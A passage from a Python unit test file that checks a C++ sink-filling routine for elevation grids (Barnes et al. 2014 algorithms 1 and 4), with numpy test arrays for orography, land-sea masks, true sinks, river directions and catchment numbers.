[0.0,1.1,2.0,2.0,2.0,1.3,2.0,2.0,1.1,0.0],
[0.0,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,0.0],
[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]],
dtype=np.float64, order='C')
self.expected_wrapped_array_output = np.asarray([[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,1.2],
[1.3,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[1.3,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,1.3],
[1.3,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,1.3],
[3.0,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,2.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]],
dtype=np.float64, order='C')
self.expected_wrapped_array_output = np.asarray([[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,1.2],
[1.3,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[1.3,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,1.3],
[1.3,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,1.3],
[3.0,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,2.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]],
dtype=np.float64, order='C')
self.expected_orography_wrapped_sink_ls_filled_with_slope = \
np.asarray([[0.3,0.2,0.1,0.0,0.0,0.0,0.0,0.1,0.2,0.3],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,1.5],
[1.6,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[1.7,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,1.7],
[1.8,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,1.8],
[3.0,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,2.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[0.3,0.2,0.1,0.0,0.0,0.0,0.0,0.1,0.2,0.3]],
dtype=np.float64, order='C')
self.expected_orography_out_with_slope = \
np.asarray([[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0],
[0.0,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,0.0],
[0.0,1.1,2.0,2.0,1.2,2.0,2.0,2.0,1.1,0.0],
[0.0,1.1,2.0,1.3,1.3,1.3,1.4,2.0,1.1,0.0],
[0.0,1.1,2.0,1.4,1.4,1.4,1.4,1.4,1.1,0.0],
[0.0,1.1,2.0,1.5,1.5,1.5,1.5,2.0,1.1,0.0],
[0.0,1.1,2.0,1.5,1.4,1.4,1.4,2.0,1.1,0.0],
[0.0,1.1,2.0,2.0,2.0,1.3,2.0,2.0,1.1,0.0],
[0.0,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,0.0],
[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]],
dtype=np.float64, order='C')
self.true_sink_and_former_true_sinks_wrapped_with_lsmask_and_slope_expected_output = \
np.asarray([[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,1.2],
[1.3,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[0.7,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,0.7],
[0.7,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,0.7],
[3.0,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,2.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]],
dtype=np.float64, order='C')
self.expected_wrapped_array_nodata = np.asarray([[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,1.2],
[1.3,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[1.3,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,1.3],
[1.3,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,1.3],
[3.0,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,2.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]],
dtype=np.float64, order='C')
self.expected_wrapped_array_nodata[:,4:6] = self.ndv
self.ls_mask = np.asarray([[False,False,False,False,True,True,False,False,False,False],
[False,False,False,False,True,True,False,False,False,False],
[False,False,False,False,True,True,False,False,False,False],
[False,False,False,False,True,True,False,False,False,False],
[False,False,False,False,True,True,False,False,False,False],
[False,False,False,False,True,True,False,False,False,False],
[False,False,False,False,True,True,False,False,False,False],
[False,False,False,False,True,True,False,False,False,False],
[False,False,False,False,True,True,False,False,False,False],
[False,False,False,False,True,True,False,False,False,False]],
dtype=np.int32, order='C')
self.dummy_mask = np.empty((1,1),dtype=np.int32)
self.true_sinks_input_array = np.asarray([[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,True,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False]],
dtype=np.int32, order='C')
self.former_true_sinks_input_array = np.asarray([[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,True, False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False]],
dtype=np.int32, order='C')
self.true_sinks_expected_output_orography_array = np.copy(self.input_array)
self.true_sink_and_former_true_sinks_input_array = \
np.asarray([[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,True,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,True, False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False]],
dtype=np.int32, order='C')
self.former_true_sinks_input_array_wrapped = \
np.asarray([[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,True],
[True,False,False,False,False,False,False,False,False,False],
[False,False,False,False,True,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,True, False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False]],
dtype=np.int32, order='C')
self.true_sink_and_former_true_sinks_input_array_wrapped = \
np.asarray([[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,True],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,True,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,True],
[False,False,False,False,False,False,True, False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False]],
dtype=np.int32, order='C')
self.true_sink_and_former_true_sinks_wrapped_with_lsmask_expected_output = \
np.copy(self.wrapped_input_array)
def testBasicCall(self):
"""Test a basic call to fill_sinks using algorithm 1"""
fill_sinks_wrapper.fill_sinks_cpp_func(self.input_array,1) #@UndefinedVariable
np.testing.assert_array_equal(self.input_array, self.expected_output_array,
"Basic fill sinks call doesn't give expected results")
def testCallWithLSMask(self):
"""Test call to fill_sinks using algorithm 1 with a landsea mask"""
fill_sinks_wrapper.fill_sinks_cpp_func(self.wrapped_input_array,1,True,self.ls_mask) #@UndefinedVariable
np.testing.assert_array_equal(self.wrapped_input_array, self.expected_wrapped_array_output,
"Fill sinks algorithm 1 with land sea mask and wrapped orography doesn't"
"give expected results")
def testCallWithLSMaskSettingSeaAsNoData(self):
"""Test call to fill_sinks using algorithm 1 with a landsea mask; setting the sea to a no data value"""
fill_sinks_wrapper.fill_sinks_cpp_func(self.wrapped_input_array,1,True,self.ls_mask,True) #@UndefinedVariable
np.testing.assert_array_equal(self.wrapped_input_array, self.expected_wrapped_array_nodata,
"Fill sinks algorithm 1 with land sea mask and wrapped orography doesn't"
"give expected results")
def testBasicCallWithTrueSink(self):
"""Test of a call with a true sink included"""
fill_sinks_wrapper.fill_sinks_cpp_func(self.input_array,1,False,self.dummy_mask,False,
use_true_sinks=True,
true_sinks_in=self.true_sinks_input_array) #@UndefinedVariable
np.testing.assert_array_equal(self.input_array, self.true_sinks_expected_output_orography_array,
"Supplying a true sink to a basic algorithm 1 call is not producing"
" the expected results")
def testBasicCallWithFormerTrueSink(self):
"""Test of a call with a true sink (that is no longer active as it is not in a pit) included"""
fill_sinks_wrapper.fill_sinks_cpp_func(self.input_array,1,False,self.dummy_mask,False,
use_true_sinks=True,
true_sinks_in=self.former_true_sinks_input_array) #@UndefinedVariable
np.testing.assert_array_equal(self.input_array, self.expected_output_array,
"Supplying a former true sink to a basic algorithm 1 call is not producing"
" the expected results")
def testBasicCallwithBothTrueSinkAndFormerTrueSink(self):
"""Test of a call with an active true and an inactive true sink included"""
fill_sinks_wrapper.fill_sinks_cpp_func(self.input_array,1,False,self.dummy_mask,False,
use_true_sinks=True,
true_sinks_in=self.true_sink_and_former_true_sinks_input_array) #@UndefinedVariable
np.testing.assert_array_equal(self.input_array, self.true_sinks_expected_output_orography_array,
"Supplying a true and former true sink to a basic algorithm 1 call"
" is not producing the expected results")
def testLSCallWithFormerTrueSink(self):
"""Test of a call using a land-sea mask with an inactive true sink included"""
fill_sinks_wrapper.fill_sinks_cpp_func(self.wrapped_input_array,1,True,self.ls_mask,use_true_sinks=True,
true_sinks_in=self.former_true_sinks_input_array_wrapped) #@UndefinedVariable
np.testing.assert_array_equal(self.wrapped_input_array,
self.expected_wrapped_array_output,
"Fill sinks algorithm 1 with land sea mask and wrapped orography doesn't"
" give expected results when using former true sinks")
def testLSCallWithBothTrueSinkAndFormerTrueSink(self):
"""Test of a call using a land-sea mask with an active true and an inactive true sink included"""
fill_sinks_wrapper.fill_sinks_cpp_func(self.wrapped_input_array,1,True,self.ls_mask,use_true_sinks=True,
true_sinks_in=self.\
true_sink_and_former_true_sinks_input_array_wrapped) #@UndefinedVariable
np.testing.assert_array_equal(self.wrapped_input_array,
self.true_sink_and_former_true_sinks_wrapped_with_lsmask_expected_output,
"Fill sinks algorithm 1 with land sea mask and wrapped orography doesn't"
" give expected results when using true and former true sinks")
def testLSCallWithBothTrueSinkOnSlopeAndFormerTrueSinkWrapped(self):
"""Test of a call using a ls mask with an active and an inactive true sink included that wraps across dateline"""
fill_sinks_wrapper.fill_sinks_cpp_func(self.wrapped_input_array_with_slope,1,True,self.ls_mask,use_true_sinks=True,
true_sinks_in=self.\
true_sink_and_former_true_sinks_input_array_wrapped) #@UndefinedVariable
np.testing.assert_array_equal(self.wrapped_input_array_with_slope,
self.true_sink_and_former_true_sinks_wrapped_with_lsmask_and_slope_expected_output,
"Fill sinks algorithm 1 with land sea mask and wrapped orography doesn't"
" give expected results when using true (on a slope) and former true sinks")
def testFillingSinksWithSlopeAddedToFill(self):
"""Test call on a wrapped grid where a slope is added to the filled sink"""
fill_sinks_wrapper.fill_sinks_cpp_func(self.orography_in_wrapped_sink_with_slope,1,True,self.ls_mask,use_true_sinks=False,
true_sinks_in=self.dummy_mask,add_slope=True,epsilon=0.1,);
np.testing.assert_array_almost_equal(self.orography_in_wrapped_sink_with_slope,
self.expected_orography_wrapped_sink_ls_filled_with_slope,
decimal=8,
err_msg="Testing sink filling where a slight slope to filled sinks doesn't produce"
" expected results")
def testFillingSinksWithSlopeAddedToFillMultipleEntry(self):
"""Test call on a grid where a slope is added to a filled sink with multiple entry points"""
fill_sinks_wrapper.fill_sinks_cpp_func(self.orography_in_with_slope,1,False,self.ls_mask,False,
use_true_sinks=False,true_sinks_in=self.dummy_mask,add_slope=True,
epsilon=0.1);
np.testing.assert_array_almost_equal(self.orography_in_with_slope,
self.expected_orography_out_with_slope,
decimal=8,
err_msg="Testing sink filling where a slight slope to a filled sink with multiply"
" entry points doesn't produce expected results")
class TestAlgorithmFour(unittest.TestCase):
"""Tests of Algorithm 4 from Barnes et al (2014)"""
def setUp(self):
"""Unit test setup function; prepare test pseudo-data and expected results"""
self.input_array = np.asarray([[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0],
[0.0,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,0.0],
[0.0,1.1,2.0,2.0,1.2,2.0,2.0,2.0,1.1,0.0],
[0.0,1.1,2.0,3.0,3.0,1.3,3.0,2.0,1.1,0.0],
[0.0,1.1,2.0,3.0,0.1,0.1,3.0,2.0,1.1,0.0],
[0.0,1.1,2.0,3.0,0.1,0.1,3.0,2.0,1.1,0.0],
[0.0,1.1,2.0,3.0,3.0,3.0,3.0,2.0,1.1,0.0],
[0.0,1.1,2.0,2.0,2.0,2.0,2.0,2.0,1.1,0.0],
[0.0,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,0.0],
[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]],
dtype=np.float64, order='C')
self.expected_output_array = np.asarray([[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0],
[0.0,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,0.0],
[0.0,1.1,2.0,2.0,1.2,2.0,2.0,2.0,1.1,0.0],
[0.0,1.1,2.0,3.0,3.0,1.3,3.0,2.0,1.1,0.0],
[0.0,1.1,2.0,3.0,0.1,0.1,3.0,2.0,1.1,0.0],
[0.0,1.1,2.0,3.0,0.1,0.1,3.0,2.0,1.1,0.0],
[0.0,1.1,2.0,3.0,3.0,3.0,3.0,2.0,1.1,0.0],
[0.0,1.1,2.0,2.0,2.0,2.0,2.0,2.0,1.1,0.0],
[0.0,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,0.0],
[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]],
dtype=np.float64, order='C')
self.wrapped_input_array = np.asarray([[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,1.2],
[1.3,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[0.1,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,0.1],
[0.1,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,0.1],
[3.0,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,2.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]],
dtype=np.float64, order='C')
self.wrapped_input_array_with_slope = np.asarray([[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,1.2],
[1.3,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[0.1,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,0.1],
[0.1,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,0.7],
[3.0,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,2.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]],
dtype=np.float64, order='C')
self.wrapped_output_array_with_slope = np.copy(self.wrapped_input_array_with_slope)
self.expected_wrapped_array_output = np.asarray([[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,1.2],
[1.3,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[0.1,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,0.1],
[0.1,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,0.1],
[3.0,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,2.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]],
dtype=np.float64, order='C')
self.rdirs = np.zeros((10,10),dtype=np.float64,order='C')
self.ls_mask = np.asarray([[False,False,False,False,True,True,False,False,False,False],
[False,False,False,False,True,True,False,False,False,False],
[False,False,False,False,True,True,False,False,False,False],
[False,False,False,False,True,True,False,False,False,False],
[False,False,False,False,True,True,False,False,False,False],
[False,False,False,False,True,True,False,False,False,False],
[False,False,False,False,True,True,False,False,False,False],
[False,False,False,False,True,True,False,False,False,False],
[False,False,False,False,True,True,False,False,False,False],
[False,False,False,False,True,True,False,False,False,False]],
dtype=np.int32, order='C')
self.true_sink_and_former_true_sinks_input_array = \
np.asarray([[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,True,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,True, False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False]],
dtype=np.int32, order='C')
self.former_true_sinks_input_array = \
np.asarray([[True,False,False,False,False,False,False,False,False,False],
[False,False,False,True,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,True],
[True,False,False,False,False,True ,True ,False,True, True],
[False,False,False,True,False,False,False,False,True,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,True,False,False,False,True, False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,True,False,False,False,False,False,False]],
dtype=np.int32, order='C')
self.wrapped_current_and_former_true_sinks_input_array = \
np.asarray([[True,False,False,False,False,False,False,False,False,False],
[False,False,False,True,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,True],
[True,False,False,False,False,True ,True ,False,True, True],
[False,False,False,True,False,False,False,False,True,False],
[False,False,False,False,False,False,False,False,False,True],
[False,False,True,False,False,False,True, False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,False,False,False,False,False,False,False],
[False,False,False,True,False,False,False,False,False,False]],
dtype=np.int32, order='C')
self.expected_rdirs_output = np.asarray([[4.0,8.0,8.0,8.0,8.0,8.0,8.0,8.0,8.0,6.0],
[4.0,7.0,7.0,7.0,7.0,7.0,7.0,7.0,9.0,6.0],
[4.0,7.0,7.0,7.0,7.0,7.0,7.0,9.0,9.0,6.0],
[4.0,7.0,7.0,9.0,8.0,7.0,4.0,9.0,9.0,6.0],
[4.0,7.0,7.0,6.0,9.0,8.0,7.0,9.0,9.0,6.0],
[4.0,7.0,7.0,9.0,9.0,8.0,7.0,9.0,9.0,6.0],
[4.0,7.0,7.0,9.0,9.0,8.0,7.0,9.0,9.0,6.0],
[4.0,7.0,7.0,1.0,1.0,1.0,1.0,9.0,9.0,6.0],
[4.0,7.0,1.0,1.0,1.0,1.0,1.0,1.0,9.0,6.0],
[4.0,2.0,2.0,2.0,2.0,2.0,2.0,2.0,2.0,6.0]],
dtype=np.float64, order='C')
self.expected_catchment_num_output = np.asarray([[1, 21,23,25,27,29,31,33,35, 2],
[3, 1, 21,23,25,27,29,31, 2, 4],
[5, 3, 1, 21,23,25,27, 2, 4, 6],
[7, 5, 3, 23,23,23,23, 4, 6, 8],
[9, 7, 5, 23,23,23,23, 6, 8,10],
[11,9, 7, 23,23,23,23, 8,10,12],
[13,11,9, 23,23,23,23,10,12,14],
[15,13,11,22,24,26,28,12,14,16],
[17,15,22,24,26,28,30,32,16,18],
[19,22,24,26,28,30,32,34,36,20]],
dtype=np.int32, order='C')
self.expected_rdirs_output_with_true_and_former_true_sinks = np.asarray([[4.0,8.0,8.0,8.0,8.0,8.0,8.0,8.0,8.0,6.0],
[4.0,7.0,7.0,7.0,7.0,7.0,7.0,7.0,9.0,6.0],
[4.0,7.0,7.0,7.0,7.0,7.0,7.0,9.0,9.0,6.0],
[4.0,7.0,7.0,3.0,2.0,1.0,1.0,9.0,9.0,6.0],
[4.0,7.0,7.0,6.0,5.0,4.0,4.0,9.0,9.0,6.0],
[4.0,7.0,7.0,9.0,8.0,7.0,7.0,9.0,9.0,6.0],
[4.0,7.0,7.0,9.0,8.0,7.0,7.0,9.0,9.0,6.0],
[4.0,7.0,7.0,1.0,1.0,1.0,1.0,9.0,9.0,6.0],
[4.0,7.0,1.0,1.0,1.0,1.0,1.0,1.0,9.0,6.0],
[4.0,2.0,2.0,2.0,2.0,2.0,2.0,2.0,2.0,6.0]],
dtype=np.float64, order='C')
self.expected_catchment_num_output_with_true_and_former_true_sinks =\
np.asarray([[1, 21,23,25,27,29,31,33,35, 2],
[3, 1, 21,23,25,27,29,31, 2, 4],
[5, 3, 1, 21,23,25,27, 2, 4, 6],
[7, 5, 3, 37,37,37,37, 4, 6, 8],
[9, 7, 5, 37,37,37,37, 6, 8,10],
[11,9, 7, 37,37,37,37, 8,10,12],
[13,11,9, 37,37,37,37,10,12,14],
[15,13,11,22,24,26,28,12,14,16],
[17,15,22,24,26,28,30,32,16,18],
[19,22,24,26,28,30,32,34,36,20]],
dtype=np.int32, order='C')
self.expected_wrapped_rdirs_output = np.asarray([[6.0,6.0,6.0,6.0,0.0,0.0,4.0,4.0,4.0,4.0],
[9.0,9.0,9.0,9.0,0.0,0.0,7.0,7.0,7.0,7.0],
[9.0,9.0,9.0,9.0,0.0,0.0,7.0,7.0,7.0,7.0],
[7.0,4.0,9.0,9.0,0.0,0.0,7.0,7.0,9.0,8.0],
[8.0,7.0,9.0,9.0,0.0,0.0,7.0,7.0,6.0,9.0],
[8.0,7.0,9.0,9.0,0.0,0.0,7.0,7.0,9.0,9.0],
[8.0,7.0,9.0,9.0,0.0,0.0,7.0,7.0,9.0,9.0],
[3.0,3.0,9.0,9.0,0.0,0.0,7.0,7.0,1.0,1.0],
[3.0,3.0,3.0,9.0,0.0,0.0,7.0,1.0,1.0,1.0],
[6.0,6.0,6.0,9.0,0.0,0.0,7.0,4.0,4.0,4.0]],
dtype=np.float64, order='C')
self.expected_catchment_num_wrapped_output = np.asarray([[ 2, 2, 2, 2,0,0, 4, 4, 4, 4],
[ 2, 2, 2, 1,0,0, 3, 4, 4, 4],
[ 2, 2, 1, 5,0,0, 6, 3, 4, 4],
[ 4, 4, 5, 7,0,0, 8, 6, 4, 4],
[ 4, 4, 7, 9,0,0,10, 8, 4, 4],
[ 4, 4, 9,11,0,0,12,10, 4, 4],
[ 4, 4,11,13,0,0,14,12, 4, 4],
[19,19,13,15,0,0,16,14,20,20],
[19,19,19,17,0,0,18,20,20,20],
[19,19,19,19,0,0,20,20,20,20]],
dtype=np.int32, order='C')
self.expected_wrapped_rdirs_output_with_former_sink =\
np.asarray([[6.0,6.0,6.0,6.0,0.0,0.0,4.0,4.0,4.0,4.0],
[9.0,9.0,9.0,9.0,0.0,0.0,7.0,7.0,7.0,7.0],
[9.0,9.0,9.0,9.0,0.0,0.0,7.0,7.0,7.0,7.0],
[7.0,4.0,9.0,9.0,0.0,0.0,7.0,7.0,9.0,8.0],
[8.0,7.0,9.0,9.0,0.0,0.0,7.0,7.0,6.0,9.0],
[8.0,7.0,9.0,9.0,0.0,0.0,7.0,7.0,9.0,9.0],
[8.0,7.0,9.0,9.0,0.0,0.0,7.0,7.0,9.0,9.0],
[3.0,3.0,9.0,9.0,0.0,0.0,7.0,7.0,1.0,1.0],
[3.0,3.0,3.0,9.0,0.0,0.0,7.0,1.0,1.0,1.0],
[6.0,6.0,6.0,9.0,0.0,0.0,7.0,4.0,4.0,4.0]],
dtype=np.float64, order='C')
self.expected_wrapped_rdirs_output_with_current_sink_on_slope_and_former_sinks =\
np.asarray([[6.0,6.0,6.0,6.0,0.0,0.0,4.0,4.0,4.0,4.0],
[9.0,9.0,9.0,6.0,0.0,0.0,4.0,7.0,7.0,7.0],
[9.0,9.0,9.0,6.0,0.0,0.0,4.0,7.0,7.0,7.0],
[1.0,1.0,9.0,6.0,0.0,0.0,4.0,7.0,3.0,2.0],
[1.0,1.0,9.0,6.0,0.0,0.0,4.0,7.0,3.0,2.0],
[4.0,4.0,9.0,6.0,0.0,0.0,4.0,7.0,6.0,5.0],
[7.0,7.0,9.0,6.0,0.0,0.0,4.0,7.0,9.0,8.0],
[3.0,3.0,9.0,6.0,0.0,0.0,4.0,7.0,1.0,1.0],
[3.0,3.0,3.0,6.0,0.0,0.0,4.0,1.0,1.0,1.0],
[6.0,6.0,6.0,6.0,0.0,0.0,4.0,4.0,4.0,4.0]],
dtype=np.float64, order='C')
self.expected_wrapped_rdirs_output_initially_prefer_non_diags = \
np.asarray([[6.0,6.0,6.0,6.0,0.0,0.0,4.0,4.0,4.0,4.0],
[9.0,9.0,9.0,6.0,0.0,0.0,4.0,7.0,7.0,7.0],
[9.0,9.0,9.0,6.0,0.0,0.0,4.0,7.0,7.0,7.0],
[7.0,4.0,9.0,6.0,0.0,0.0,4.0,7.0,9.0,8.0],
[8.0,7.0,9.0,6.0,0.0,0.0,4.0,7.0,6.0,9.0],
[8.0,7.0,9.0,6.0,0.0,0.0,4.0,7.0,9.0,9.0],
[8.0,7.0,9.0,6.0,0.0,0.0,4.0,7.0,9.0,9.0],
[3.0,3.0,9.0,6.0,0.0,0.0,4.0,7.0,1.0,1.0],
[3.0,3.0,3.0,6.0,0.0,0.0,4.0,1.0,1.0,1.0],
[6.0,6.0,6.0,6.0,0.0,0.0,4.0,4.0,4.0,4.0]],
dtype=np.float64, order='C')
self.expected_wrapped_catchment_nums_with_current_sink_on_slope_and_former_sinks =\
np.asarray([[ 2, 2, 2, 2,0,0, 4, 4, 4, 4],
[ 2, 2, 2, 1,0,0, 3, 4, 4, 4],
[ 2, 2, 1, 5,0,0, 6, 3, 4, 4],
[27,27, 5, 7,0,0, 8, 6,27,27],
[27,27, 7, 9,0,0,10, 8,27,27],
[27,27, 9,11,0,0,12,10,27,27],
[27,27,11,13,0,0,14,12,27,27],
[19,19,13,15,0,0,16,14,20,20],
[19,19,19,17,0,0,18,20,20,20],
[19,19,19,19,0,0,20,20,20,20]],
dtype=np.int32, order='C')
self.catchment_nums_in = np.zeros((10,10),dtype=np.int32)
def testBasicCall(self):
"""Test a basic call to fill_sinks using algorithm 4"""
dummy_ls = np.empty((1,1),dtype=np.int32)
dummy_ts = np.empty((1,1),dtype=np.int32)
next_lat_indices = np.empty((10,10),dtype=np.int32)
next_lon_indices = np.empty((10,10),dtype=np.int32)
fill_sinks_wrapper.fill_sinks_cpp_func(self.input_array,4,False,dummy_ls,False,False,dummy_ts,
False,0.0,next_lat_indices,next_lon_indices,
self.rdirs,self.catchment_nums_in) #@UndefinedVariable
np.testing.assert_array_equal(self.catchment_nums_in,self.expected_catchment_num_output,
"Basic Algorithm 4 call not producing expected catchment number")
np.testing.assert_array_equal(self.input_array, self.expected_output_array,
"Basic Algorithm 4 call unexpectedly changes orography")
np.testing.assert_array_equal(self.rdirs,self.expected_rdirs_output,
